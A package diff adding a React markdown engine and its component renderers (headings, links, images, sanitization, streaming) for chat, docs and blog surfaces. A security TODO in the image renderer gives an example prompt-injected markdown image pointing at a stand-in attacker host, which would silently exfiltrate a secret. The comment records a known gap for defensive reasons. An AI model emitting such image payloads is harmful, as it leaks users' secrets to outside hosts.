@flamingo-stack/openframe-frontend-core 0.0.508 → 0.0.509

package/src/components/ui/markdown/base-components.tsx

@@ -0,0 +1,360 @@
+"use client";
+
+/**
+ * Default react-markdown component map for the unified markdown engine.
+ * ONE implementation of code blocks, headings, links, lists, tables etc.
+ * Compositions layer on top via `componentOverrides` (spread LAST by the
+ * engine, so caller overrides always win).
+ */
+import React from 'react';
+import type { Components } from 'react-markdown';
+import Image from '../../../embed-shims/next-image';
+import { useAuthedImageSrc } from '../../../hooks/use-authed-image-src';
+import { cn } from '../../../utils/cn';
+import type { ResolveLinkResult } from '../../../types/doc-source';
+import type { TextSizeElement } from './text-size';
+import { MermaidDiagram } from './mermaid-diagram';
+import {
+  extractText,
+  resolveFallbackHeadingId,
+  useAssignedHeadingIds,
+  useHeadingId,
+} from './heading-ids';
+import { slugifyHeadingText } from '../../../utils/markdown-heading-id';
+
+/**
+ * True when an image `src` is worth rendering. Shared by the base `img` and
+ * the rich composition's `img` / `video` overrides so the empty-`![]()`
+ * guard has exactly one definition.
+ */
+/**
+ * Inline content image (blog / docs / chat attachments). A standalone
+ * component — NOT inline JSX in the `img` renderer — because it must call
+ * `useAuthedImageSrc`: in bearer-mode native shells (`capacitor://`,
+ * `tauri://`) a gateway-hosted image can't load through a plain `<img>` (no
+ * Authorization header on native asset loads), so the hook swaps in an authed
+ * blob URL; everywhere else it returns `src` untouched. While the blob fetch
+ * is in flight `resolvedSrc` is null and the component renders nothing — same
+ * as the no-src case. Ported from #1548 into the unified engine (the original
+ * lived in the now-deleted `ui/simple-markdown-renderer.tsx`). Sizing matches
+ * the engine's cap: 400x400 intrinsic, `w-auto h-auto max-h-[400px]` drives
+ * the actual rendered box; click-to-expand surfaces provide full resolution.
+ */
+const MarkdownContentImage: React.FC<{ src: string; alt?: string }> = ({ src, alt }) => {
+  const resolvedSrc = useAuthedImageSrc(src);
+  if (!resolvedSrc) return null;
+  return (
+    <Image
+      src={resolvedSrc}
+      alt={alt ?? 'No image available'}
+      width={400}
+      height={400}
+      sizes="(max-width: 400px) 100vw, 400px"
+      className="max-w-full max-h-[400px] w-auto h-auto rounded-lg object-contain"
+      style={{ width: 'auto', height: 'auto' }}
+    />
+  );
+};
+
+export function hasRenderableSrc(src: unknown): src is string {
+  return typeof src === 'string' && src.trim() !== '';
+}
+
+export interface BuildBaseComponentsOptions {
+  textSizes: Record<TextSizeElement, string>;
+  demoteMarkdownH1ToH2: boolean;
+  brokenLinks: readonly string[];
+  currentPath?: string;
+  onInternalLinkClick?: (path: string, options?: { expandFolder?: boolean; fromInternalLink?: boolean }) => void;
+  onResolveLink?: (href: string, currentPath: string) => Promise<ResolveLinkResult>;
+}
+
+/**
+ * The standard leaf renderers (`code` block + inline, `blockquote`, `div`
+ * pass-through) as standalone functions.
+ *
+ * SSOT for compositions that must OVERRIDE these renderers for a narrow
+ * special case and then fall through: the rich composition intercepts embed
+ * fence languages, shortcode-expanded `div`s and Reddit's `reddit-embed-bq`
+ * blockquote, and delegates everything else here. Previously it reproduced
+ * these renderers byte-for-byte, so any class change here silently drifted
+ * on content surfaces.
+ *
+ * THESE MUST STAY HOOK-FREE: the rich composition calls them as plain
+ * functions from inside its own renderers (`standard.code(props)`), which is
+ * not a React render of a component and would break the rules of hooks.
+ * Hook-using renderers (the headings, which read the heading-line offset
+ * from context) live in `buildBaseComponents` below and are never delegated
+ * to this way.
+ *
+ * ODS-TOKENS FLAG (ODS_TOKEN_RULES §Typography / §General): inline code keeps
+ * an inline `text-[0.9em]`, carried over verbatim from the pre-unification
+ * renderers — ODS has no relative-to-parent code size, so mapping it onto an
+ * existing token would visibly change every inline code span. Same shape as
+ * the flag in ./text-size.ts — flagged for addition to ODS, not copied
+ * anywhere else.
+ *
+ * The code BLOCK's font is NOT flagged: the raw "JetBrains Mono", "SF Mono",
+ * Consolas stack the old renderer inlined is gone, replaced by Tailwind's
+ * `font-mono` (→ `var(--font-family-heading)`, the Azeret Mono ODS stack) —
+ * the same class the inline-code branch below already used, so the two code
+ * surfaces no longer disagree about their family.
+ */
+export function buildStandardLeafRenderers({
+  textSizes,
+}: {
+  textSizes: Record<TextSizeElement, string>;
+}): Pick<Components, 'code' | 'blockquote' | 'div'> {
+  return {
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    code: ({ node, inline, className: codeClassName, children, ...props }: any) => {
+      const match = /language-(\w+)/.exec(codeClassName || '');
+      const language = match ? match[1] : '';
+
+      if (!inline && language === 'mermaid') {
+        return <MermaidDiagram chart={String(children).replace(/\n$/, '')} />;
+      }
+
+      if (!inline && match) {
+        return (
+          <div className="code-block-container border rounded-lg my-6 overflow-hidden bg-ods-card border-ods-border">
+            <div className="code-header border-b px-4 py-2 bg-ods-card border-ods-border">
+              <span className="font-sans text-xs uppercase tracking-wide text-ods-text-tertiary">
+                {language || 'code'}
+              </span>
+            </div>
+            <div className="p-4">
+              <pre className="overflow-x-auto">
+                <code
+                  className={cn(`language-${language} hljs font-mono`, textSizes.code)}
+                  style={{
+                    background: 'transparent',
+                    color: 'var(--color-text-primary)',
+                  }}
+                  {...props}
+                >
+                  {children}
+                </code>
+              </pre>
+            </div>
+          </div>
+        );
+      }
+
+      return (
+        <code className="font-mono text-[0.9em] px-1.5 py-0.5 rounded border bg-ods-card text-ods-text-primary border-ods-border" {...props}>
+          {children}
+        </code>
+      );
+    },
+
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    blockquote: ({ children }: any) => (
+      <blockquote className="border-l-4 border-ods-accent ml-0 pl-6 my-8 py-4 rounded-r-lg bg-ods-bg-surface">
+        <div className={cn('font-sans leading-relaxed text-ods-text-secondary', textSizes.blockquote)}>
+          {children}
+        </div>
+      </blockquote>
+    ),
+
+    // Pass-through `div` (overridable for embeds; `node` is dropped so it
+    // never reaches the DOM).
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    div: ({ node, className: divClassName, children, ...props }: any) => (
+      <div className={divClassName} {...props}>{children}</div>
+    ),
+  };
+}
+
+export function buildBaseComponents({
+  textSizes,
+  demoteMarkdownH1ToH2,
+  brokenLinks,
+  currentPath: propCurrentPath,
+  onInternalLinkClick,
+  onResolveLink,
+}: BuildBaseComponentsOptions): Components {
+  const makeHeading = (
+    Tag: 'h1' | 'h2' | 'h3' | 'h4' | 'h5' | 'h6',
+    headingClassName: string,
+  ) =>
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    ({ node, children }: any) => {
+      // PURE LOOKUP — no counters, no render-order dependency. The map is
+      // built once from the processed source and reaches this renderer via
+      // context (see ./heading-ids.ts for why not via this options object).
+      const mapped = useHeadingId(node);
+      const taken = useAssignedHeadingIds();
+      // An AUTHORED anchor wins over everything. The sanitize schema allows
+      // `id` on every element (and disables clobbering) precisely so
+      // `<h2 id="pricing-faq">` keeps its hand-picked anchor; overwriting it
+      // with the slug of its text silently broke every existing deep link
+      // pointing at it.
+      const explicit =
+        typeof node?.properties?.id === 'string' && node.properties.id !== ''
+          ? node.properties.id
+          : undefined;
+      // Fallback for headings the source scan cannot see — in practice only
+      // caller-plugin-synthesized nodes, which carry no source position.
+      // Deduped against the ids the map already assigned (pure — see
+      // resolveFallbackHeadingId).
+      const id =
+        explicit ??
+        mapped ??
+        resolveFallbackHeadingId(slugifyHeadingText(extractText(children)), taken);
+      const EffectiveTag = Tag === 'h1' && demoteMarkdownH1ToH2 ? 'h2' : Tag;
+      return <EffectiveTag id={id || undefined} className={headingClassName}>{children}</EffectiveTag>;
+    };
+
+  return {
+    // --- code + blockquote + div (shared leaf renderers, see above) ---
+    ...buildStandardLeafRenderers({ textSizes }),
+
+    // --- headings ---
+    h1: makeHeading('h1', cn('font-sans font-bold mt-8 mb-4 first:mt-0 text-ods-text-primary', textSizes.h1)),
+    h2: makeHeading('h2', cn('font-sans font-semibold mt-8 mb-4 pb-2 border-b text-ods-text-primary border-ods-border', textSizes.h2)),
+    h3: makeHeading('h3', cn('font-sans font-semibold mt-6 mb-3 text-ods-text-primary', textSizes.h3)),
+    h4: makeHeading('h4', cn('font-sans font-semibold mt-4 mb-2 text-ods-text-primary', textSizes.h4)),
+    h5: makeHeading('h5', cn('font-sans font-semibold mt-3 mb-2 text-ods-text-primary', textSizes.h5)),
+    h6: makeHeading('h6', cn('font-sans font-semibold mt-3 mb-1 text-ods-text-primary', textSizes.h6)),
+
+    // --- paragraph ---
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    p: ({ children }: any) => (
+      <p className={cn('leading-relaxed mb-4 first:mt-0 last:mb-0 text-ods-text-primary', textSizes.p)}>
+        {children}
+      </p>
+    ),
+
+    // --- links ---
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    a: ({ href, children, className: linkClassName }: any) => {
+      const isBroken = brokenLinks.includes(href);
+      const isInternalDocLink =
+        propCurrentPath !== undefined &&
+        propCurrentPath !== null &&
+        href &&
+        !href.startsWith('http') &&
+        !href.startsWith('#');
+
+      if (isBroken) {
+        return (
+          <span className="text-ods-accent cursor-not-allowed">
+            {children}
+            <sup className="ml-1 text-xs font-bold text-ods-error">[BROKEN]</sup>
+          </span>
+        );
+      }
+
+      if (isInternalDocLink && onInternalLinkClick) {
+        const currentPath = propCurrentPath ?? '';
+        return (
+          <span
+            className="text-ods-accent no-underline relative transition-colors duration-200 hover:after:w-full after:content-[''] after:absolute after:w-0 after:h-0.5 after:-bottom-0.5 after:left-0 after:bg-ods-accent after:transition-all after:duration-300 cursor-pointer"
+            onClick={async (e) => {
+              e.preventDefault();
+              e.stopPropagation();
+              if (onResolveLink) {
+                try {
+                  const result = await onResolveLink(href, currentPath);
+                  if (result.type === 'folder-no-readme' && result.action === 'expand_folder') {
+                    onInternalLinkClick(result.resolvedPath!, { expandFolder: true, fromInternalLink: true });
+                  } else if (result.type === 'not-found') {
+                    return;
+                  } else if (result.success && result.resolvedPath) {
+                    onInternalLinkClick(result.resolvedPath, { fromInternalLink: true });
+                  }
+                } catch (error) {
+                  console.error('Error resolving link:', error);
+                }
+              } else {
+                onInternalLinkClick(href, { fromInternalLink: true });
+              }
+            }}
+            role="link"
+            tabIndex={0}
+            onKeyDown={(e) => {
+              if (e.key === 'Enter' || e.key === ' ') {
+                (e.currentTarget as HTMLElement).click();
+              }
+            }}
+          >
+            {children}
+          </span>
+        );
+      }
+
+      return (
+        <a
+          href={href}
+          className={`text-ods-accent no-underline relative transition-colors duration-200 hover:after:w-full after:content-[''] after:absolute after:w-0 after:h-0.5 after:-bottom-0.5 after:left-0 after:bg-ods-accent after:transition-all after:duration-300 ${linkClassName || ''}`}
+          target={href?.startsWith('http') ? '_blank' : undefined}
+          rel={href?.startsWith('http') ? 'noopener noreferrer' : undefined}
+        >
+          {children}
+        </a>
+      );
+    },
+
+    // --- images ---
+    // Inline content image renderer (blog, docs, chat attachments) —
+    // delegates to `MarkdownContentImage` (above), which handles bearer-mode
+    // authed loading for native shells and the 400x400 cap with click-to-
+    // expand for full resolution.
+    //
+    // TODO(security): LLM-rendered surfaces still auto-load ANY image origin,
+    // so a prompt-injected `![](https://attacker/log?d=<secret>)` exfiltrates
+    // silently. An image-origin allowlist is a tracked follow-up: it requires
+    // a host-supplied origin list threaded from each chat composition (there
+    // is no safe default this library can pick), so it is deliberately absent
+    // rather than shipped unwired.
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    img: ({ src, alt }: any) => {
+      if (!hasRenderableSrc(src)) return null;
+      return <MarkdownContentImage src={src} alt={alt} />;
+    },
+
+    // --- lists ---
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    ul: ({ children }: any) => (
+      <ul className="list-disc list-outside my-4 ml-8 space-y-2 text-ods-text-primary">{children}</ul>
+    ),
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    ol: ({ children }: any) => (
+      <ol className="list-decimal list-outside my-4 ml-8 space-y-2 text-ods-text-primary">{children}</ol>
+    ),
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    li: ({ children }: any) => (
+      <li className={cn('leading-relaxed pl-2', textSizes.li)}>{children}</li>
+    ),
+
+    // --- tables ---
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    table: ({ children }: any) => (
+      <div className="table-container my-6 overflow-x-auto">
+        <div className="min-w-full border rounded-lg border-ods-border bg-ods-card">
+          <table className="w-full table-fixed md:table-auto">{children}</table>
+        </div>
+      </div>
+    ),
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    thead: ({ children }: any) => (
+      <thead className="bg-ods-bg-surface">{children}</thead>
+    ),
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    th: ({ children }: any) => (
+      <th className={cn('px-2 md:px-4 py-3 text-left font-semibold text-ods-accent border-r last:border-r-0 break-words border-ods-border', textSizes.th)}>
+        {children}
+      </th>
+    ),
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    td: ({ children }: any) => (
+      <td className={cn('px-2 md:px-4 py-3 border-r last:border-r-0 border-b break-words whitespace-normal text-ods-text-primary border-ods-border', textSizes.td)}>
+        {children}
+      </td>
+    ),
+
+    // --- horizontal rule ---
+    hr: () => <hr className="border-0 border-t my-8 border-ods-border" />,
+  };
+}

package/src/components/ui/markdown/engine.tsx

@@ -0,0 +1,315 @@
+"use client";
+
+/**
+ * MarkdownEngine — THE one react-markdown pipeline for every surface
+ * (chat messages, blog, docs, KB articles, legal, releases, admin previews).
+ *
+ * `SimpleMarkdownRenderer` and `RichMarkdownRenderer` are thin compositions
+ * over this engine (see ./simple-markdown-renderer.tsx and ./rich/) — there
+ * is exactly ONE parse path, ONE sanitizer stack, ONE mermaid, ONE
+ * heading-id algorithm, ONE link-click model. Do not fork this pipeline;
+ * extend via `componentOverrides` / `additionalRemarkPlugins` /
+ * `preprocessContent` / `extraAllowedHtmlTags`.
+ *
+ * Pipeline order (each stage documented in ./sanitize.ts):
+ *   preprocessContent (composition hook, e.g. shortcodes)
+ *   → completeStreamingTail (streaming only — MUST precede the escape pass)
+ *   → escapeUnknownHtmlTags (text pre-pass, React 19 crash guard)
+ *   → remark: remarkGfm, remarkBreaks, ...additionalRemarkPlugins
+ *   → rehype: rehypeRaw → rehypeSanitize(schema) → rehypeStripUnsafe
+ *       → rehypeHighlight
+ *   → urlTransform: cardAwareUrlTransform
+ *   → components: buildBaseComponents(...) spread-last componentOverrides
+ */
+import React, { memo, useMemo } from 'react';
+import ReactMarkdown, { type Components } from 'react-markdown';
+import type { PluggableList } from 'unified';
+import remarkGfm from 'remark-gfm';
+import remarkBreaks from 'remark-breaks';
+import rehypeHighlight from 'rehype-highlight';
+import rehypeRaw from 'rehype-raw';
+import rehypeSanitize from 'rehype-sanitize';
+import type { ResolveLinkResult } from '../../../types/doc-source';
+import {
+  buildEffectiveTagSet,
+  buildSanitizeSchema,
+  cardAwareUrlTransform,
+  escapeUnknownHtmlTags,
+  rehypeStripUnsafe,
+} from './sanitize';
+import { resolveTextSizeConfig, type TextSizeConfig } from './text-size';
+import {
+  HeadingIdMapContext,
+  HeadingLineOffsetContext,
+  useHeadingIdMap,
+  type HeadingSection,
+} from './heading-ids';
+import { buildBaseComponents } from './base-components';
+import { completeStreamingTail, splitStreamingBlocks } from './streaming';
+
+export type { ResolveLinkResult };
+
+/**
+ * Module-scope empty default for `brokenLinks`.
+ *
+ * A `brokenLinks = []` DEFAULT PARAMETER allocates a fresh array on every
+ * render, so the `components` useMemo (which lists it as a dep) recomputed
+ * every render, which changed `StreamingBlockRenderer`'s `components` prop
+ * identity, which made its `memo` bail EVERY time — every completed block
+ * re-parsed on every streamed token, defeating the entire atomic-block
+ * optimization. Any new default that is an object/array/function MUST be
+ * hoisted here for the same reason.
+ *
+ * Exported so the compositions that apply the SAME default before handing
+ * props down (rich) share this ONE identity instead of declaring a second
+ * module-scope empty array with a copy of this rationale. Deliberately NOT
+ * re-exported from ./index — it is an internal identity contract between the
+ * engine and its compositions, not public API.
+ */
+export const NO_BROKEN_LINKS: readonly string[] = [];
+
+export interface MarkdownEngineProps {
+  content: string;
+  className?: string;
+  /** Backend-provided heading IDs for deep-link anchors */
+  sectionIds?: HeadingSection[];
+  /** When the page already has an H1, render markdown `#` as `<h2>` */
+  demoteMarkdownH1ToH2?: boolean;
+  /** List of broken link hrefs detected server-side (shown with [BROKEN] badge) */
+  brokenLinks?: readonly string[];
+  /** Callback for internal (non-http, non-anchor) link clicks */
+  onInternalLinkClick?: (path: string, options?: { expandFolder?: boolean; fromInternalLink?: boolean }) => void;
+  /** Current documentation path — enables internal-link mode when set */
+  currentPath?: string;
+  /** Resolve an internal link href to a navigation path. */
+  onResolveLink?: (href: string, currentPath: string) => Promise<ResolveLinkResult>;
+  /** Pre-process the raw markdown string before rendering (e.g. shortcode expansion) */
+  preprocessContent?: (content: string) => string;
+  /** Merge additional or override react-markdown component renderers (spread LAST — caller wins) */
+  componentOverrides?: Partial<Components>;
+  /** Extra remark plugins appended after the built-in remarkGfm + remarkBreaks */
+  additionalRemarkPlugins?: PluggableList;
+  /** Text sizing preset / per-element overrides */
+  textSize?: TextSizeConfig;
+  /**
+   * Extra raw-HTML tags this composition admits. Unioned into BOTH the
+   * text pre-pass allowlist AND the sanitize schema together (the
+   * coupled-allowlist invariant — see ./sanitize.ts).
+   */
+  extraAllowedHtmlTags?: string[];
+  /**
+   * Set true for the actively streaming message ONLY. Enables atomic-block
+   * memoization + fence tail-completion + an aria-live wrapper. The caller
+   * MUST flip back to false on completion — that final render is one
+   * authoritative whole-document parse (block cache discarded), so
+   * streaming can never permanently diverge from the settled output.
+   */
+  streaming?: boolean;
+}
+
+/**
+ * One memoized completed block of a streaming message. Parent-level memos
+ * keep every prop except `text` referentially stable, so a completed block
+ * re-renders only if its own text changes (i.e. the splitter re-cut).
+ * React key = position index — identical blocks at different positions
+ * never alias (see ./streaming.ts).
+ */
+const StreamingBlockRenderer = memo(function StreamingBlockRenderer({
+  text,
+  remarkPlugins,
+  rehypePlugins,
+  components,
+}: {
+  text: string;
+  remarkPlugins: PluggableList;
+  rehypePlugins: PluggableList;
+  components: Components;
+}) {
+  return (
+    <ReactMarkdown
+      remarkPlugins={remarkPlugins}
+      rehypePlugins={rehypePlugins}
+      urlTransform={cardAwareUrlTransform}
+      components={components}
+    >
+      {text}
+    </ReactMarkdown>
+  );
+});
+
+const MarkdownEngineImpl: React.FC<MarkdownEngineProps> = ({
+  content,
+  className = '',
+  sectionIds,
+  demoteMarkdownH1ToH2 = false,
+  brokenLinks = NO_BROKEN_LINKS,
+  onInternalLinkClick,
+  currentPath,
+  onResolveLink,
+  preprocessContent,
+  componentOverrides,
+  additionalRemarkPlugins,
+  textSize,
+  extraAllowedHtmlTags,
+  streaming = false,
+}) => {
+  const textSizes = useMemo(() => resolveTextSizeConfig(textSize), [textSize]);
+
+  // Stable identity key for the caller's tag array — a fresh array with the
+  // same contents must not bust these memos.
+  const extraTagsKey = extraAllowedHtmlTags?.join('|') ?? '';
+
+  // Effective tag allowlist — shared source for pre-pass AND schema.
+  // Both memos consume ONLY `extraTagsKey`, so the dep list is honest and
+  // needs no eslint suppression.
+  const effectiveTags = useMemo(
+    () => buildEffectiveTagSet(extraTagsKey ? extraTagsKey.split('|') : undefined),
+    [extraTagsKey],
+  );
+
+  const processedContent = useMemo(() => {
+    const preprocessed = preprocessContent ? preprocessContent(content) : content;
+    // ORDER IS LOAD-BEARING: complete the streaming tail FIRST, then escape.
+    //
+    // Escaping first failed OPEN on the most common streaming shape. During a
+    // stream every partially-emitted fence is unclosed, and both of the
+    // pre-pass's fence notions (`PROTECTED_SPAN_RE` for the carve AND the
+    // mask) only recognize CLOSED fences — so a `</textarea>` inside the
+    // still-open fence satisfied "is closed later", the prose opener above it
+    // stayed live, and parse5 swallowed the rest of the message until the
+    // fence closed (an LLM explaining `<textarea>` then streaming a fenced
+    // HTML sample hits this exactly). The same ordering also fired the carve's
+    // documented "unclosed fence body is escaped" tradeoff on EVERY streaming
+    // frame, so a `<their>` mid-fence rendered as `&lt;their&gt;` until the
+    // closer arrived.
+    //
+    // `completeStreamingTail` only APPENDS a fence delimiter run, so escaping
+    // afterwards is safe (nothing it adds is escapable).
+    const completed = streaming ? completeStreamingTail(preprocessed) : preprocessed;
+    return escapeUnknownHtmlTags(completed, effectiveTags);
+  }, [preprocessContent, content, effectiveTags, streaming]);
+
+  // Heading ids: derived ONCE from the processed source, never from render
+  // order. See ./heading-ids.ts for why the old stateful generator was
+  // unsound under block memoization AND StrictMode.
+  const headingIds = useHeadingIdMap(processedContent, sectionIds);
+
+  const remarkPlugins = useMemo<PluggableList>(
+    () => [remarkGfm, remarkBreaks, ...(additionalRemarkPlugins ?? [])],
+    [additionalRemarkPlugins],
+  );
+
+  const rehypePlugins = useMemo<PluggableList>(() => {
+    const schema = buildSanitizeSchema({
+      extraAllowedHtmlTags: extraTagsKey ? extraTagsKey.split('|') : undefined,
+    });
+    return [
+      // ORDER MATTERS: rehype-raw parses embedded raw HTML into HAST;
+      // rehypeSanitize is the allow-list boundary; rehypeStripUnsafe is
+      // defense-in-depth (srcset scanning, iframe[srcdoc]); highlight last.
+      rehypeRaw,
+      [rehypeSanitize, schema],
+      rehypeStripUnsafe,
+      [rehypeHighlight, { detect: true, ignoreMissing: true }],
+    ];
+  }, [extraTagsKey]);
+
+  const components: Components = useMemo(
+    () => ({
+      ...buildBaseComponents({
+        textSizes,
+        demoteMarkdownH1ToH2,
+        brokenLinks,
+        currentPath,
+        onInternalLinkClick,
+        onResolveLink,
+      }),
+      // Caller overrides spread LAST — chat's card/mention <a> override,
+      // rich's embed overrides, etc. always win over the base map.
+      ...componentOverrides,
+    }),
+    [
+      textSizes,
+      demoteMarkdownH1ToH2,
+      brokenLinks,
+      currentPath,
+      onInternalLinkClick,
+      onResolveLink,
+      componentOverrides,
+    ],
+  );
+
+  // Streaming block plan (only computed on the streaming path).
+  const streamingBlocks = useMemo(
+    () => (streaming ? splitStreamingBlocks(processedContent) : null),
+    [streaming, processedContent],
+  );
+
+  const body = streamingBlocks ? (
+    // aria-live: readers announce coherent appended chunks, not per-token
+    // spam (polite + additions). Streaming caret/pulse affordances live in
+    // chat components and honor prefers-reduced-motion there.
+    <div aria-live="polite" aria-relevant="additions text">
+      {streamingBlocks.map((block) => (
+        // Each unit is parsed on its own, so hast positions restart at 1;
+        // the offset maps them back onto the document-wide heading-id map.
+        <HeadingLineOffsetContext.Provider key={block.index} value={block.startLine - 1}>
+          {block.memoizable ? (
+            <StreamingBlockRenderer
+              text={block.text}
+              remarkPlugins={remarkPlugins}
+              rehypePlugins={rehypePlugins}
+              components={components}
+            />
+          ) : (
+            <ReactMarkdown
+              remarkPlugins={remarkPlugins}
+              rehypePlugins={rehypePlugins}
+              urlTransform={cardAwareUrlTransform}
+              components={components}
+            >
+              {block.text}
+            </ReactMarkdown>
+          )}
+        </HeadingLineOffsetContext.Provider>
+      ))}
+    </div>
+  ) : (
+    <ReactMarkdown
+      remarkPlugins={remarkPlugins}
+      rehypePlugins={rehypePlugins}
+      urlTransform={cardAwareUrlTransform}
+      components={components}
+    >
+      {processedContent}
+    </ReactMarkdown>
+  );
+
+  return (
+    <div className={`simple-markdown-renderer ${className}`}>
+      {/* Mermaid's <style> is rendered by MermaidDiagram itself — one tag
+          per mounted diagram instead of one per engine instance (i.e. per
+          chat segment), where the overwhelming majority render no diagram. */}
+      {/* `overflow-wrap: anywhere` is inherited from `.simple-markdown-renderer`
+          in app-globals.css — do NOT re-add `break-words` here, it would
+          override the cascade with the weaker `break-word` for this subtree. */}
+      <div className="content-wrapper max-w-none">
+        <article className="prose prose-lg max-w-none">
+          <HeadingIdMapContext.Provider value={headingIds}>{body}</HeadingIdMapContext.Provider>
+        </article>
+      </div>
+    </div>
+  );
+};
+
+/**
+ * Memoized so a parent re-render with UNCHANGED props (same `content`
+ * string, same memoized `componentOverrides`/plugins) does NOT re-parse the
+ * markdown. Re-parsing rebuilds the entire react-markdown subtree, which
+ * RE-MOUNTS any embedded inline entity cards — closing their open menus and
+ * re-triggering their fetch on every chat re-render (streaming chunk AND
+ * scroll). With stable props the renderer bails, so completed messages'
+ * cards stay mounted. The streaming path additionally memoizes completed
+ * atomic blocks so the in-flight message re-parses only its live tail.
+ */
+export const MarkdownEngine = memo(MarkdownEngineImpl);